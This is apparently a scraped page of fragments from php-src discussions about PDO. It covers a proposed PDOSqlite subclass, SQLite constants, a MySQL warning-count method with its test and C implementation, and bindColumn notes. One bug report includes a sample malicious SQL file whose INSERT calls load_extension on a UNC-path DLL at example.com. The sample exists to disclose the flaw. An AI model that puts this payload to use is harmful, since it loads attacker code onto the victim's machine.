imagick / php-src Goto Github PK

	if (!stmt->methods->get_column_meta) {
		pdo_raise_impl_error(stmt->dbh, stmt, "IM001", "driver doesn't support meta data");
		RETURN_FALSE;
	}

class PDOSqlite extends PDO {
   public function createFunction(...) {...}
}

class PDO {
   public static function connect(string $dsn [, string $username [,
   string $password [, array $options ]]]) {
       // if connecting to SQLite DB {
    return new PDOSqlite(...);
    }
  }
}

For backwards-compatibility reasons, we'd presumably still have to retain the ability to call those methods on the plain PDO object though :( But at least there would be a way to use it in a sensible way in new code. In particular this also allows you to write things like:

if ($pdo instanceof PDOSqlite) {
    $pdo->loadExtension(...);
}

#define SQLITE_UTF8           1    /* IMP: R-37514-35566 */
#define SQLITE_UTF16LE        2    /* IMP: R-03371-37637 */
#define SQLITE_UTF16BE        3    /* IMP: R-51971-34154 */
#define SQLITE_UTF16          4    /* Use native byte order */
#define SQLITE_ANY            5    /* Deprecated */
#define SQLITE_UTF16_ALIGNED  8    /* sqlite3_create_collation only */

PDOSqlite::openBlob(string $table , string $column , int $rowid [, string $dbname = “main” [, int $flags = PDO::SQLITE_OPEN_READONLY ]] )

Viewed
@@ -0,0 +1,22 @@
--TEST--
MySQL PDO->mysqlGetWarningCount()
--SKIPIF--
<?php
require_once(__DIR__ . DIRECTORY_SEPARATOR . 'skipif.inc');
require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
MySQLPDOTest::skip();
?>
--FILE--
<?php
	require_once(__DIR__ . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
	$db = MySQLPDOTest::factory();
	$assertWarnings = function ($db, $q, $count) {
		$db->query($q);
		printf("Query %s produced %d warnings\n", $q, $db->mysqlGetWarningCount());
	};
	$assertWarnings($db, 'SELECT 1 = 1', 0);
	$assertWarnings($db, 'SELECT 1 = "A"', 1);
?>
--EXPECT--
Query SELECT 1 = 1 produced 0 warnings
Query SELECT 1 = "A" produced 1 warnings



/* {{{ proto string PDO::mysqlGetWarningCount()
   Returns the number of SQL warnings during the execution of the last statement */
static PHP_METHOD(PDO, mysqlGetWarningCount)
{
	pdo_dbh_t *dbh;
	pdo_mysql_db_handle *H;

	dbh = Z_PDO_DBH_P(ZEND_THIS);
	PDO_CONSTRUCT_CHECK;

	H = (pdo_mysql_db_handle *)dbh->driver_data;
	RETURN_LONG(mysql_warning_count(H->server));
}
/* }}} */

static const zend_function_entry dbh_methods[] = {
	PHP_ME(PDO, mysqlGetWarningCount, NULL, ZEND_ACC_PUBLIC)
	PHP_FE_END
};

static const zend_function_entry *pdo_mysql_get_driver_methods(pdo_dbh_t *dbh, int kind)
{
	switch (kind) {
		case PDO_DBH_DRIVER_METHOD_KIND_DBH:
			return dbh_methods;
		default:
			return NULL;
	}
}

/* {{{ pdo_mysql_request_shutdown */
static void pdo_mysql_request_shutdown(pdo_dbh_t *dbh)
{
@@ -625,7 +655,7 @@ static const struct pdo_dbh_methods mysql_methods = {
	pdo_mysql_fetch_error_func,
	pdo_mysql_get_attribute,
	pdo_mysql_check_liveness,
	NULL,
	pdo_mysql_get_driver_methods,
	pdo_mysql_request_shutdown,
	pdo_mysql_in_transaction,
	NULL /* get_gc */

When importing a sql file the load_extension function is enabled. An attacker can craft a malicious sql file like this:

BEGIN TRANSACTION;
CREATE TABLE `test` (
	`id`	INTEGER
);
INSERT INTO `test` VALUES (load_extension("\\example.com\sqlite_extension.dll", "hello"));
COMMIT;

But this seems to be quite chaotic, reading
https://secure.php.net/manual/en/pdostatement.bindcolumn.php

"Since information about the columns is not always available to PDO
until the statement is executed, portable applications should call this
function after PDOStatement::execute().

However, to be able to bind a LOB column as a stream when using the
PgSQL driver, applications should call this method before calling
PDOStatement::execute(), otherwise the large object OID will be returned
as an integer."